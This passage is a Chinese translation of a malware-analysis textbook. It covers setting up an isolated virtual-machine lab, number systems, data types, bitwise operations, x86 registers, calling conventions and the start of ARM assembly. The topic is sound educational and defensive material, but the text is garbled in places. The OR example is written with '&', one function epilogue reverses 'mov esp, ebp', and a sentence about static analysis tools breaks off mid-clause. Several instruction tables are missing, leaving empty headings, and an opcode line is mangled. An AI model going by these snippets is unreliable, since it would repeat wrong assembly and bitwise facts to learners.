能够安全地分析恶意样本是任何进行反向工程的工程师的前提条件,无论是一次性任务还是日常工作。通常,为此目的使用虚拟机VM),因为虚拟机很容易复制、应用任何更改,并保存快照以恢复某些先前的机器状态。另一种选择是使用与关键网络隔离的专用物理机;在这种情况下,通常使用一些备份软件来快速恢复机器的先前状态。本节将讨论为恶意软件分析设置安全环境以及需要关注的最重要步骤。

选择虚拟化软件

当你准备好创建新的虚拟机时,首要任务是选择将用于此目的的软件。通常,反向工程师的首选包括以下几种:

  • VMware:一种非常流行的商业解决方案,还提供一个免费的播放器来运行已经存在的虚拟机

  • VirtualBox:一个免费的功能齐全的替代方案,允许创建和运行虚拟机

以上两种选项都提供类似的面向终端用户的功能和特性,例如快照管理、共享端口、设备、文件夹、剪贴板和网络访问的仿真。

QEMU是另一种选择,但该项目历来更多关注仿真而非虚拟化,其用户界面UI)对于日常反向工程工作可能不够友好。其他值得一提的项目包括基于内核的虚拟机KVM)虚拟化模块,通常与 QEMU 一起使用,以及 Xen 和 Hyper-V 虚拟机监控程序。

无论你选择什么软件,对应的虚拟机(VM)镜像通常可以从一种类型转换为另一种类型。然而,每种虚拟化软件都有自己独特的来宾工具,使得能够使用共享剪贴板等功能——在这种情况下,需要单独安装并进行设置。

最后,还有一些预构建的虚拟机镜像,已经预安装了一套反向工程工具:

  • FLARE VM:一个免费的开源基于 Windows 的解决方案,受到 Mandiant/FireEye 支持

  • REMnux:一个免费的开源基于 Linux 的发行版,也提供预构建的虚拟机

安全特性

以下是创建针对反向工程(RE)虚拟机实验室时应遵守的顶级安全特性:

  • 禁用网络

如我们所知,许多恶意软件类别可能会滥用网络进行恶意活动。无论是发送垃圾邮件、传播到其他机器,还是窃取工程师的专有许可证,基本原则是在默认情况下禁用网络。可以使用很多技术和软件来模拟网络连接以进行分析,例如 INetSim 和 FakeNet。

图 1.2 – 在 VirtualBox 虚拟机设置中禁用网络

图 1.2 – 在 VirtualBox 虚拟机设置中禁用网络

  • 无共享设备

许多虚拟化软件默认将连接的外部物理设备映射到虚拟机。这可能非常危险,例如在 USB 驱动器的情况下。在这种情况下,恶意软件可能通过这些设备传播,并逃脱安全环境。因此,所有此类设备都应该禁用。

图 1.3 – 在 VirtualBox 虚拟机设置中禁用 USB 控制器

图 1.3 – 在 VirtualBox 虚拟机设置中禁用 USB 控制器

  • 小心共享文件夹

共享文件夹将主机机器上的一些文件夹映射到来宾(虚拟)机器上的文件夹,便于文件传输。主要问题是病毒可能感染存放在这些文件夹中的文件(例如可执行文件或文档),或用恶意文件替换现有文件。这样,恶意软件就找到了进入主机机器的途径。因此,共享文件夹应该谨慎使用。一个方法是避免将任何文件存放在这些文件夹中过长时间:将文件复制到主机机器上的共享文件夹后,在来宾虚拟机上将其移出,并确保文件夹空置,直到下一个任务。将共享文件夹设置为仅读模式也是一个选择。

一旦我们准备好实验室虚拟机,接下来的问题是——如何将恶意样本复制到虚拟机中进行分析?有多种方法可以做到这一点:

  • 私有网络:理想情况下,应避免使用私有网络,因为在来宾机上运行的恶意软件可能也会访问主机机器的网络。

  • 共享文件夹:如前所述,请谨慎使用。

  • 共享剪贴板:这是最安全的解决方案之一。需要在虚拟机上安装来宾附加功能才能使用。

关于将文件从虚拟机(VM)移回生产 PC 的操作,基本原则是要极其小心。考虑仅将包含你工作成果的文本文件和类似文件进行转移。如果必须转移任何包含恶意代码和数据的文件(包括内存转储和网络 PCAP 文件),考虑使用密码保护的压缩档案来存储这些文件,并确保不要在主机上解压它们。

总结

在这一章中,我们了解了各种现代威胁类型,并解释了网络安全社区中使用的一些重要术语。我们讨论了 MITRE ATT&CK 框架,概述了它的功能,并突出了其中一些重要特点。我们还提供了如何设置安全环境以分析恶意软件的指导。最后,我们提供了关于如何通过多种方式组织处理恶意样本工作的建议。

在下一章中,我们将介绍各种汇编语言的基础知识,这将为我们理解恶意软件功能以及进行静态和动态分析不同类型威胁提供必要的基础知识。

第二章:汇编与编程基础速成课程

在深入了解恶意软件世界之前,我们需要对分析恶意软件的机器核心有一个完整的了解。出于逆向工程的目的,重点关注架构及其支持的操作系统OS)是非常有意义的。当然,多个设备和模块构成了一个系统,但主要是这两个因素定义了一套在分析过程中使用的工具和方法。任何架构的物理表现形式就是处理器。处理器就像任何智能设备或计算机的心脏,它使得设备保持运行。

在本章中,我们将涵盖最广泛使用的架构的基础知识,从广为人知的 x86 和 x64 指令集架构ISAs)到支持多个移动设备和物联网IoT)设备的解决方案,这些设备经常被恶意软件家族(如 Mirai)滥用。这将为你进入恶意软件分析的旅程奠定基调,因为没有理解汇编指令,静态分析是不可能的。尽管现代反编译器变得越来越强大,但它们并不是针对所有恶意软件攻击的平台都能使用。而且,它们可能永远无法处理混淆代码。不要被汇编的复杂性吓倒;只需要时间去适应,过一段时间后,它就能像任何其他编程语言一样被理解。虽然本章提供了一个起点,但通过实践和进一步探索来加深理解总是有意义的。

在本章中,我们将涵盖以下内容:

  • 信息学基础

  • 架构及其汇编

  • 熟悉 x86(IA-32 和 x64)

  • 探索 ARM 汇编

  • MIPS 基础

  • 覆盖 SuperH 汇编

  • 与 SPARC 一起工作

  • 从汇编语言过渡到高级编程语言

信息学基础

在我们深入了解各种架构的内部结构之前,现在是复习数字系统的好时机,这将为理解数据类型和位运算奠定基础。

数字系统

在我们的日常生活中,我们使用从 0 到 9 的十进制系统,这给了我们总共 10 个不同的 1 位选项。这是有充分理由的——因为我们人类总共有 10 根手指,而这些手指总是出现在我们眼前,是很好的计数工具。然而,从数据科学的角度来看,数字 10 并没有什么特别之处。使用其他进制将使我们能够更高效地存储信息。

存储某些信息的绝对最小要求是两个不同的值:是或否,真或假等。这为只使用两个数字 0 和 1 的二进制数制奠定了基础。我们使用它的方式与十进制的情况相同:每次我们到达右侧的最大数字时,我们将其降到 0,并且增加左侧的下一个数字,按照相同的逻辑。因此,*0, 1, 2, 3, 4, ... 9, 10, 11, ...变成0, 1, 10, 11, 100, ..., 1001, 1010, 1011, ...*等等。这种方法使得能够有效地编码大量信息,以便由机器自动读取。例如包括磁带和软盘(有无磁化),CD/DVD/BD(由激光读取的缺口有无)和闪存(有无电荷)。为了不混淆二进制值和十进制数,通常对二进制值使用“b”后缀(例如,1010b)。

现在,如果我们想要处理二进制位组,我们需要选择组的大小。三个位组(从 000 到 111)将给出 2³ = 8 种可能的 0 和 1 的组合,允许我们编码八个不同的数字。类似地,四个位组(从 0000 到 1111)将给出 2⁴ = 16 种可能的组合。这就是为什么开始使用八进制和十六进制系统:它们允许您有效地转换二进制数。八进制系统使用 8 为基数,这意味着它可以使用从 0 到 7 的数字。十六进制系统支持 16 个数字,使用数字 0 到 9,然后是英语字母表的前六个字母:A 到 F。在这里,十六进制 A 代表十进制 10,B 代表 11,依此类推,一直到 F 代表十进制 15。我们使用它们的方式与十进制和二进制数制相同:一旦达到右侧的最大数字,下一个值将会回到 0,并且左侧的数字按照相同的逻辑递增。在这种情况下,十进制序列如14, 15, 16, 17将被表示为E, F, 10, 11的十六进制。为了不混淆十六进制数和十进制数,您可以使用“0x”和“\x”前缀或“h”后缀来标记十六进制数(例如,0x33, \x73 和 70h)。

将二进制值转换为十六进制非常容易。整个二进制值应该分成四位一组,每组代表一个单独的十六进制数字。例如,0001b = 1h 和 00110001b 由 0011b = 3h 和 0001b = 1h 组成,得到 31h。

现在,是时候学习如何使用这种方法编码不同的数据类型了。

基本数据单元和数据类型

正如我们所知,最小的数据存储单元应该能够存储两个不同的值——0 或 1;即二进制数字系统中的一个数字。这个单元叫做比特。8 个比特组成一个字节。一个字节可以用来编码所有可能的零和一的组合,从 00000000b 到 11111111b,总共可以有 2⁸ = 256 种不同的变体,从 0x0 到 0xFF。其他常用的数据单元有(2 字节)、双字(4 字节)和四字(8 字节)。

现在,让我们来谈谈如何对使用这些数据单元存储的数据进行编码。以下是各种编程语言中常见的一些基本数据类型:

  • 布尔型:一种二进制数据类型,只能存储两个可能的值:真或假。

  • 整数:用于存储整数。大小各不相同。在某些情况下,可以通过后缀来指定位数(如 int16、int32 等)。

  • 无符号:所有比特都用于存储数值。

  • 有符号:最重要的比特(最左边的那个)用于存储符号,0 表示正数,1 表示负数。所以 0xFFFFFFFF = -1。

  • 短整数长整数:这些数据类型是比标准整数小或大的整数。short 的大小为 2 字节,long 的大小为 4 或 8 字节。

  • 浮点数双精度浮点数:这些数据类型用于存储浮动点数(可以有小数的数值)。它们在恶意软件中几乎从不使用。

  • 字符:通常用于存储字符串中的字符,每个值的大小为 1 字节。

  • 字符串:由字节组成,定义了可读的字符串。根据编码方式,它可以使用每个字符一个或多个字节。

  • ASCII:定义了字符(字母、数字、标点符号等)与字节值之间的映射关系。每个字符使用 7 位:图 2.1 – ASCII 表

图 2.1 – ASCII 表

图 2.1 – ASCII 表

  • 扩展 ASCII:每个字符使用 8 位,其中前半部分(0x0-0x7F)与 ASCII 表相同,其余部分取决于代码页(例如 Windows-1252 编码)。

  • UTF8:这是一种 Unicode 编码,每个字符使用 1 到 4 个字节。它在*nix 系统中常用。其起始部分与 ASCII 表匹配。

  • UTF16:这是一种 Unicode 编码,每个字符使用 2 或 4 个字节。字节的顺序取决于字节序(Endian)。

  • 小端序:最不重要的字节存放在最低地址(UTF16-LE,是 Windows 操作系统使用的默认 Unicode 编码;在该系统中,相关字符串称为宽字符字符串)。

  • 大端序:最重要的字节存放在最低地址(UTF16-BE):

图 2.2 – UTF16-LE 字符串示例

图 2.2 – UTF16-LE 字符串示例

除了知道如何使用比特存储数据外,还需要理解按位操作,因为它们在汇编语言中有很多应用。

按位操作

按位操作在位级别上进行,可以是单目操作,这意味着它只需要一个操作数,也可以是双目操作,这意味着它需要两个操作数并将相应的逻辑应用于每一对对齐的位。由于它们执行起来非常快速,按位操作在机器代码中找到了多种应用。让我们看看最重要的一些应用。

与(AND,&)

在这里,结果位只有在两个对应操作数的位都为 1 时才会被设置(变为 1)。

以下是一个例子:

10110111b

与(AND)

11001001b

=

10000001b

这种操作在汇编语言中最常见的应用是通过使用掩码(操作数 #2)来分离提供的十六进制值(操作数 #1)的一部分,并将其余部分置为零。它基于此操作的两个特性:

  • 如果一个操作数的位设置为 0,结果将始终为 0

  • 如果一个操作数的位设置为 1,结果将等于另一个操作数的位

因此,0x12345678 & 0x000000FF = 0x00000078(因为 0xFF = 11111111b)。

或(OR,|)

在这种情况下,结果位将为 1,只要任何对应的操作数位为 1。

以下是一个例子:

10100101b

或(OR)

10001001b

=

10101101b

这种操作的常见应用是通过掩码设置位,同时保留其余的值。它基于此操作的以下特性:

  • 如果一个操作数的位设置为 0,结果将等于另一个操作数的位

  • 如果一个操作数的位设置为 1,结果将始终为 1

这样,0x12345678 & 0x000000FF = 0x123456FF(同样,0xFF = 11111111b)。

异或(XOR,^)

在这里,结果位只有在对应操作数的位不同的情况下才会为 1,否则结果为 0。

以下是一个例子:

11101001b

异或(XOR)

10011100b

=

01110101b

这种操作有两个非常常见的应用:

  • 清零:这一点基于以下原则,如果我们为两个操作数使用相同的值,那么它的所有位都会相等,因此整个结果将为 0。

  • 加密:这一点基于这样的事实,即如果对同一个密钥的操作数应用两次此操作,将恢复原始值。它所基于的实际性质是,如果一个操作数是 0,结果将等于另一个操作数,这正是最终发生的情况:

    • plain_text ^ key = encrypted_text

    • encrypted_text ^ key = (plain_text ^ key) ^ key = plain_text ^ (key ^ key) = plain_text ^ 0 = plain_text

现在让我们来看一下 NOT (~) 操作。

非(NOT,~)

与之前的操作不同,这个操作是单目操作,只需要一个操作数,将其所有位反转为相反的值。

以下是一个例子:

非(NOT)

11001010b

=

00110101b

这种操作的常见应用是将有符号整数值的符号改变为相反的符号(例如,将 -3 转为 3,或者将 5 转为 -5)。在这种情况下,公式将是 ~value + 1

现在,让我们来看一下位移操作。

逻辑移位(<< 或 >>)

此操作需要指定方向(左或右),以及实际的值要改变的数量和移位位置的数量。在移位过程中,原始值的每一位会根据指定的位数向左或向右移动;相对方向的空位则会用零填充。所有移出数据单元的位都将丢失。

以下是一些示例:

10010011b >> 1 = 01001001b

10010011b << 2 = 01001100b

此操作有两个常见应用:

  • 将数据移到寄存器的特定位置(如你稍后将看到的)

  • 每移位一个位置时,乘以(左移)或除以(右移)二的幂

循环移位(Rotate)

这种按位移位与逻辑移位非常相似,但有一个重要的区别——所有移出数据单元一侧的位将出现在对面一侧。

以下是一些示例:

10010011b ROR 1 = 11001001b

10010011b ROL 2 = 01001110b

因为与逻辑移位不同,该操作是可逆的,数据不会丢失,所以它可以在加密算法中使用。

其他类型的移位,如算术移位或带进位的旋转,在汇编中一般较少见,尤其是在恶意软件中,因此它们超出了本书的讨论范围。

现在,终于到了学习更多关于各种架构及其汇编指令的时机。

架构及其汇编

简单来说,处理器,也就是中央处理单元CPU),与计算器非常相似。如果你查看指令(无论是哪种汇编语言),你会发现许多指令涉及数字并进行计算。然而,多个特性使得处理器与普通计算器有所不同。让我们来看一些示例:

  • 现代处理器相较于传统计算器支持更大的内存空间。这个内存空间允许它们存储数十亿个值,从而使得执行更复杂的操作成为可能。此外,处理器内部嵌入了多个快速且小型的内存存储单元,称为寄存器。

  • 处理器支持多种除算术指令外的其他指令类型,如根据特定条件更改执行流程。

  • 处理器可以与其他外部设备如扬声器、麦克风、硬盘、显卡等一起工作。

凭借这些功能和极大的灵活性,处理器成为了支撑各种先进现代技术(如机器学习)的通用机器。在接下来的部分中,我们将探索这些特性,并进一步深入了解不同的汇编语言以及这些特性如何在这些语言的指令集中体现。

寄存器

尽管处理器能够访问巨大的内存空间,可以存储数十亿个值,但这些存储是由独立的 RAM 设备提供的,这使得处理器访问数据的速度较慢。因此,为了加速处理器操作,处理器内部含有小而快速的内存存储单元,称为寄存器。

寄存器内置于处理器芯片中,可以存储在执行计算和数据传输时所需的即时值。

寄存器可能有不同的名称、大小和功能,具体取决于架构。以下是一些广泛使用的类型:

  • 通用寄存器:这些寄存器用于临时存储各种算术、按位和数据传输操作的参数和结果。

  • 栈和帧指针:这些指向栈的顶部和某个固定点(稍后会看到)。

  • 指令指针/程序计数器:指令指针用于指向处理器将要执行的下一条指令。

内存

内存在我们今天使用的所有智能设备的开发中扮演着重要角色。在快速且易失的内存上管理大量的值、文本、图像和视频的能力,使得 CPU 能够处理更多信息,最终执行更复杂的操作,如显示 3D 图形界面和虚拟现实。

虚拟内存

在现代操作系统中,无论是基于 32 位还是 64 位,操作系统都会为每个进程创建一个隔离的虚拟内存(其页面会映射到物理内存页面)。应用程序只能访问它们的虚拟内存。它们可以读取和写入代码和数据,并执行位于虚拟内存中的指令。每个包含虚拟内存页面的内存范围都有一组权限,也称为保护标志,表示应用程序可以在其上执行的操作类型。其中最重要的一些权限包括 READ、WRITE 和 EXECUTE,以及它们的组合。

为了让应用程序尝试访问存储在内存中的值,它需要其虚拟地址。在幕后,内存管理单元MMU)和操作系统透明地将这些虚拟地址映射到定义值在硬件中存储位置的物理地址:

图 2.3 – 虚拟内存地址

图 2.3 – 虚拟内存地址

为了节省存储和使用值地址所需的空间,开发了栈的概念。

栈是一个堆叠的对象。在计算机科学中,栈是一种数据结构,它利用后进先出LIFO)原则,将不同大小的值按堆叠结构保存在内存中。

栈的顶部(下一个元素将被放置的位置)由专用的栈指针指向,稍后会对其进行更详细的讨论。

栈在许多汇编语言中是常见的,它可以服务于多个目的。例如,它可以通过临时存储每个计算结果,然后将它们提取出来以计算所有结果的总和,并将其保存在变量X中,来帮助解决数学方程式,如 X = 56 + 62 + 7(4 + 6)

栈的另一个应用是传递参数给函数并存储局部变量。最后,在某些架构上,栈还可以用来在调用函数之前保存下一条指令的地址。这样,一旦该函数执行完毕,就可以从栈顶弹出该返回地址,并将控制权转移回调用它的地方,继续执行。

虽然栈指针始终指向当前栈顶,但帧指针则存储函数开始时栈顶的地址,以便能够访问传递的参数和局部变量,并在例程结束时恢复栈指针的值。我们将在讨论不同架构的调用约定时更详细地介绍这一点。

指令(CISC 和 RISC)

指令是以字节形式表示的机器码,CPU 可以理解并执行它们。对于我们人类来说,读取字节非常困难,这就是为什么我们开发了汇编器来将汇编代码转换为指令,并开发了解析器以便能够将其读回。

在本节中,我们将介绍定义汇编语言的两大类架构:复杂指令集计算机CISC)和简化指令集计算机RISC)。

不深入细节,CISC 汇编语言(如 Intel IA-32 和 x64)与与 ARM 等架构相关的 RISC 汇编语言之间的主要区别在于其指令的复杂性。

CISC 汇编语言的指令更为复杂。它们通常侧重于使用尽可能少的汇编指令完成任务。为了做到这一点,CISC 汇编语言包括可以执行多个操作的指令,例如 Intel 汇编中的 mul 指令,它可以同时执行数据访问、乘法和数据存储操作。

在 RISC 汇编语言中,汇编指令通常很简单,一般只执行一个操作。这可能导致为完成特定任务需要更多的代码行。然而,这也可能更加高效,因为它省略了任何不必要的操作。

总的来说,我们可以将所有指令(无论架构如何)分为几组:

  • 数据操作:包括算术和按位操作。

  • 数据传输:允许涉及寄存器、内存和立即数值的数据进行移动。

  • 控制流:这使得可以改变指令执行的顺序。在每种汇编语言中,都有多种比较和控制流指令,通常可以分为以下几类:

    • 无条件:这种类型的指令会强制改变执行流转到另一个地址(没有任何给定条件)。

    • 条件:这就像一个逻辑门,根据给定的条件(如等于零、大于或小于)切换到另一个分支,如下图所示:

图 2.4 – 条件跳转的示例

图 2.4 – 条件跳转的示例

  • 子程序调用:这些指令会将执行转移到另一个函数,并保存返回地址,以便在必要时恢复。

现在,是时候学习在进行逆向工程时常见的指令了。能够流利地阅读这些指令并理解它们组合的含义,是成为专业恶意软件分析师的一个重要步骤。

熟悉 x86(IA-32 和 x64)

Intel x86(包括 32 位和 64 位版本)是 PC 中最常见的架构。它为各种类型的工作站和服务器提供支持,因此我们目前看到的大多数恶意软件样本都支持该架构。其 32 位版本 IA-32 也通常被称为 i386(由 i686 替代)或简单地称为 x86,而 64 位版本 x64 也被称为 x86-64 或 AMD64。x86 是一个 CISC 架构,除了简单指令外,还包含多个复杂指令。在这一部分,我们将介绍其中最常见的指令,并介绍函数是如何组织的。

寄存器

下表显示了 IA-32 和 x64 架构中寄存器之间的关系:

图 2.5 – IA-32 和 x64 架构

图 2.5 – IA-32 和 x64 架构

在 x86 架构中使用的寄存器(从 8 到 r15 的寄存器)仅在 x64 中可用,而在 IA-32 中不可用,且 spl、bpl、sil 和 dil 寄存器只能在 x64 中访问。

首先要提到的是,关于哪些寄存器应该称为通用寄存器GPRs)以及哪些不应如此,可能有多种解释,因为它们中的大多数可能用于某些特定目的。

前四个寄存器(rax/eaxrbx/ebxrcx/ecx、和 rdx/edx)是 GPRs。它们中的一些寄存器在特定指令中有特殊的用途:

  • rax/eax:这通常用于存储某些操作的结果以及函数的返回值。

  • rcx/ecx:这是在需要重复操作的指令中用作计数寄存器的。

  • rdx/edx:这是在乘法和除法中使用的,分别用来扩展结果或被除数。

在 x64 中,r8 到 r15 的寄存器被添加到可用的 GPRs 列表中。

rsi/esirdi/edi 主要用于定义在内存中复制字节组的地址。rsi/esi 寄存器始终充当源寄存器,而 rdi/edi 寄存器充当目标寄存器。这两个寄存器都是非易失性的,并且也是 GPR 寄存器。

rsp/esp 寄存器作为栈指针使用,这意味着它始终指向栈顶。当一个值被推送到栈时,它的值会减小,而当一个值被从栈中取出时,它的值会增大。

rbp/ebp 寄存器主要作为基指针使用,指示栈中的一个固定位置。它帮助访问函数的局部变量和参数,稍后在本节中我们会看到。

特殊寄存器

x86 汇编中有两个特殊的寄存器,如下所示:

  • rip/eip:这是一个指令指针,指向下一个将要执行的指令。它不能直接访问,但有一些特殊的指令可以与其一起使用。

  • rflags/eflags/flags:该寄存器包含处理器的当前状态。其标志位会受到算术和逻辑指令的影响,包括比较指令,如 cmptest,并且它也用于条件跳转和其他指令。以下是其中的一些标志:

    • 进位标志CF):当算术操作超出范围时,设置该标志,如下所示:

mov al, FFh ; al = 0xFF & CF = 0

add al, 1 ; al = 0 & CF = 1

  • 零标志ZF):当算术或逻辑操作的结果为零时,设置该标志。比较指令也可以设置此标志。

  • 方向标志DF):该标志指示某些指令,如 lodsstosscasmovs(稍后将看到),应当访问更高地址(当未设置时)还是更低地址(当设置时)。

  • 符号标志SF):该标志指示操作结果为负值。

  • 溢出标志OF):该标志指示操作中发生了溢出,导致符号发生变化(仅对有符号数有效),如下所示:

mov cl, 7Fh ; cl = 0x7F (127) & OF = 0

inc cl ; cl = 0x80 (-128) & OF = 1

还有其他寄存器,例如 MMX 和 FPU 寄存器(以及与之配套的指令),但它们在恶意软件中很少使用,因此它们不在本书的讨论范围内。

指令结构

许多 x86 汇编器,如 MASM 和 NASM,以及反汇编器,都使用 Intel 语法。在这种情况下,其指令的常见结构是 opcodedestsrc

destsrc 通常被称为 操作数。它们的数量可以根据指令的不同从 0 到 3 不等。另一种选择是 GNU 汇编器GAS),它使用 AT&T 语法,并交换 destsrc 来表示。本文中,我们将使用 Intel 语法。

现在,让我们更深入地了解每个指令部分的含义。

opcode

n``oppushadpopadmovsb

重要说明

pushadpopad在 x64 架构中不可用。

dest

dest表示目标,即操作结果将被保存的位置,也可以成为计算的一部分,如下所示:

add eax, ecx ; eax = (eax + ecx)

sub rdx, rcx ; rdx = (rdx - rcx)

dest可能如下所示:

  • REG:一个寄存器,例如 eax 或 edx。

  • r/m:内存中的一个位置,例如以下所示:

    • DWORD PTR [00401000h]

    • BYTE PTR [EAX + 00401000h]

    • WORD PTR [EDX4 + EAX+ 30]*

栈也是内存中的一个地方:

  • DWORD PTR [ESP+4]

  • DWORD PTR [EBP-8]

src

src表示计算中的源值或其他值,但它不会用于保存结果。它可能如下所示:

  • add rcx, r8

  • add ecx, DWORD PTR [00401000h]

    • 在这里,我们将位于 00401000h 地址的 DWORD 的大小值加到 ecx 寄存器中。
  • mov eax, 00100000h

对于只有一个操作数的指令,它可能同时充当源和目标:

inc eax

dec ecx

或者,它可能只是源或目标。这适用于以下指令,这些指令将值保存到栈中,然后再将其取回:

push rdx

pop rcx

指令集

在本节中,我们将介绍开始阅读汇编所需的最重要指令。

数据操作指令

一些最常见的算术指令如下所示:

重要说明

对于将操作数视为有符号整数的乘法和除法,相应的指令将是imulidiv

以下指令表示逻辑/位操作:

最后,以下指令表示位移和旋转操作:

要了解更多关于位运算的潜在应用,请阅读第一章网络犯罪、APT 攻击与研究策略

数据传输指令

移动数据的最基本指令是mov,它将src的值复制到dest。该指令有多种形式,如下表所示:

以下是与栈相关的指令:

以下是字符串操作指令:

重要说明

如果 EFLAGS 寄存器中的 DF 位为 0,这些指令将根据使用的字节数(1, 2, 4 或 8)增加 rdi/edi 或 rsi/esi 寄存器的值,如果 DF 位被设置(等于 1),则会减少该值。

控制流指令

这些指令会改变 rip/eip 寄存器的值,因此接下来要执行的指令可能不是顺序上的下一条。最重要的无条件跳转指令如下:

为了实现条件,需要使用某种形式的比较。有专门的指令来实现这一点:

以下表格显示了基于此比较结果的一些最重要的条件重定向:

现在,让我们谈谈如何将值传递给函数并在函数中访问它们。

参数、局部变量和调用约定(在 x86 和 x64 中)

参数可以通过多种方式传递给函数。这些方式被称为调用约定。在本节中,我们将介绍最常见的调用约定。我们将从标准调用stdcall)约定开始,它通常用于 IA-32 架构,然后介绍它与其他约定之间的差异。

stdcall

堆栈,以及 rsp/esp 和 rbp/ebp 寄存器,在处理参数和局部变量时承担了大部分工作。call指令在将执行转移到新函数之前,将返回地址保存到堆栈的顶部,而ret指令在函数结束时通过堆栈中保存的返回地址将执行返回给调用者函数。

参数

在 stdcall 中,参数从最后一个到第一个(从右到左)被压入堆栈,如下所示:

push Arg02 
push Arg01 
call Func01

Func01函数中,参数可以通过esp访问,但每次有新值被推入或弹出时,始终调整偏移量会很困难:

mov eax, [esp + 8] ; Arg01
push eax
mov ecx, [esp + C] ; Arg01 keeping in mind the previous push

幸运的是,现代静态分析工具,如ebp。首先,被调用的函数需要将当前的esp保存在ebp寄存器中,然后再访问它,如下所示:

push ebp
mov ebp, esp
...
mov ecx, [ebp + 8] ; Arg01
push eax
mov ecx, [ebp + 8] ; still Arg01 (no changes)

在被调用函数的末尾,它会返回原始的ebpesp值,如下所示:

mov esp, ebp
pop ebp 
ret

由于它是常见的函数尾部处理,Intel 为此创建了一个特殊的指令,称为

leave,因此变成如下:

leave 
ret

局部变量

对于局部变量,被调用的函数通过减小esp寄存器的值来为它们分配空间。要为两个每个 4 字节的变量分配空间,可以使用以下代码:

push ebp
mov ebp, esp 
sub esp, 8

再次,函数的结尾将如下所示:

mov ebp, esp 
pop ebp 
ret

以下图示例展示了函数开始和结束时堆栈变化的样子:

![图 2.6 – 函数开始和结束时堆栈变化的示例

图 2.6 – 函数开始和结束时堆栈变化的示例

此外,如果有参数,ret指令会根据需要从堆栈顶部弹出相应的字节,从而清理堆栈,如下所示:

ret 8 ; 2 arguments, 4 bytes each

cdecl

cdecl(代表 C 声明)是另一种调用约定,许多 C 编译器在 x86 中使用过它。它与 stdcall 非常相似,唯一的区别是调用者在被调用函数(即被调用的函数)返回后清理堆栈,如下所示:

Caller:
  push Arg02 
  push Arg01 
  call Callee
  add esp, 8 ; cleans up the stack

fastcall

fastcall调用约定也被不同的编译器广泛使用,包括 Microsoft C++编译器和 GCC。此调用约定将前两个参数传递给 ecx 和 edx,将其余的参数通过堆栈传递。同样,它仅在 x86 的 32 位版本中使用。

thiscall

对于面向对象编程和非静态成员函数(例如类的函数),C 编译器需要将将要访问或操作其属性的对象的地址作为参数传递。

在 GCC 编译器中,thiscall几乎与 cdecl 调用约定相同,并且将当前对象的地址(即,this)作为第一个参数传递。但在 Microsoft C++编译器中,它类似于 stdcall,并将对象的地址传递给 ecx。这样的模式在某些面向对象的恶意软件家族中很常见。

Borland 寄存器

这种约定通常出现在使用 Delphi 编程语言编写的恶意软件中。前三个参数通过 eax、edx 和 ecx 寄存器传递,而其余参数通过堆栈传递。然而,与其他约定不同的是,它们按相反的顺序传递——从左到右。如果有必要,堆栈清理工作将由被调用函数(callee)来完成。

Microsoft x64 调用约定

在 x64 中,调用约定更加依赖于寄存器。对于 Windows,调用函数按照以下顺序将前四个参数传递给寄存器:rcx、rdx、r8、r9。其余的通过堆栈传递。调用函数(caller)最终清理堆栈(如果有必要)。

System V AMD64 ABI

对于其他 64 位操作系统,如 Linux、FreeBSD 或 macOS,前六个参数按以下顺序传递给寄存器:rdi、rsi、rdx、rcx、r8、r9。其余的通过堆栈传递。同样,如果有必要,最终由调用者清理堆栈。这是 64 位操作系统上唯一的处理方式。

探索 ARM 汇编

你们大多数人可能对 x86 架构更为熟悉,它实现了 CISC 设计。所以你们可能会想,为什么我们需要别的东西? RISC 架构的主要优势在于,实施它们的处理器通常需要较少的晶体管,最终使得它们在能效和热效率方面表现更好,并且降低了相关的制造成本,使其成为便携设备的更好选择。我们选择从 ARM 开始介绍 RISC 架构是有充分理由的——在撰写本文时,它是全球使用最广泛的架构。

解释很简单——实现它的处理器可以在多种移动设备和家电中找到,如手机、视频游戏控制台或数码相机,远远超过了 PC。因此,针对 Android 和 iOS 平台的多种物联网恶意软件家族和移动恶意软件,具有针对 ARM 架构的有效载荷;一个例子可以在以下截图中看到:

图 2.7 – 反汇编的针对 ARM 架构设备的物联网恶意软件

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_2.7_B18500.jpg)

图 2.7 – 反汇编的针对 ARM 架构设备的物联网恶意软件

因此,要分析它们,必须了解 ARM 是如何工作的。

ARM 最初代表 Acorn RISC 机器,后来代表高级 RISC 机器。Acorn 是一家英国公司,被许多人认为是英国的苹果公司,生产了当时一些最强大的个人电脑。后来,Acorn 被拆分成多个独立实体,其中 Arm Holdings(目前由软银集团拥有)支持并扩展了当前的标准。

它被多个操作系统支持,包括 Windows、Android、iOS、各种 Unix/Linux 发行版以及许多其他较不知名的嵌入式操作系统。64 位地址空间的支持在 2011 年通过 ARMv8 标准的发布得以增加。

总体而言,以下 ARM 架构配置文件是可用的:

  • 应用程序配置文件(后缀 A,例如 Cortex-A 系列):这些配置文件实现了传统的 ARM 架构,并支持基于 MMU 的虚拟内存系统架构。这些配置文件支持 ARM 和 Thumb 指令集(稍后会讨论)。

  • 实时配置文件(后缀 R,例如 Cortex-R 系列):这些配置文件实现了传统的 ARM 架构,并支持基于内存保护单元MPU)的受保护内存系统架构。

  • 微控制器配置文件(后缀 M,例如 Cortex-M 系列):这些配置文件实现了一种程序员模型,并且设计为能够集成到现场可编程门阵列FPGAs)中。

每个系列都有其对应的体系结构集(例如,Cortex-A 32 位系列包括 ARMv7-A 和 ARMv8-A 架构),而这些架构又包含多个核心(例如,ARMv7-R 架构包括 Cortex-R4、Cortex-R5 等)。

基础知识

本节中,我们将涵盖原始的 32 位架构和更新的 64 位架构。随着时间的推移,发布了多个版本,从 ARMv1 开始。在本书中,我们将重点讨论它们的最新版本。

ARM 是一种加载-存储架构;它将所有指令分为以下两类:

  • 内存访问:在内存和寄存器之间移动数据

  • 算术逻辑单元(ALU)操作:执行涉及寄存器的计算

ARM 支持加法、减法和乘法运算,尽管从 ARMv7 开始,一些新版本也支持除法。它还支持大端序,但默认使用小端序。

在 32 位 ARM 中,始终可见 16 个寄存器:R0-R15。这个数字很方便,因为只需要 4 位就能定义将要使用哪个寄存器。其中 13 个(有时称为 14 个,包括 R14 或 15,也包括 R13)是通用寄存器:R13 和 R15 各自具有特殊功能,而 R14 有时也可以使用。让我们更详细地了解它们:

  • R0-R7:低寄存器在所有 CPU 模式中都是相同的。

  • R8-R12:高寄存器在所有 CPU 模式中都是相同的,除了快速中断请求FIQ)模式,该模式无法通过 16 位指令访问。

  • R13(也称为 SP):这是一个栈指针,指向栈顶。每个 CPU 模式都有一个版本。建议不要将其用作通用寄存器。

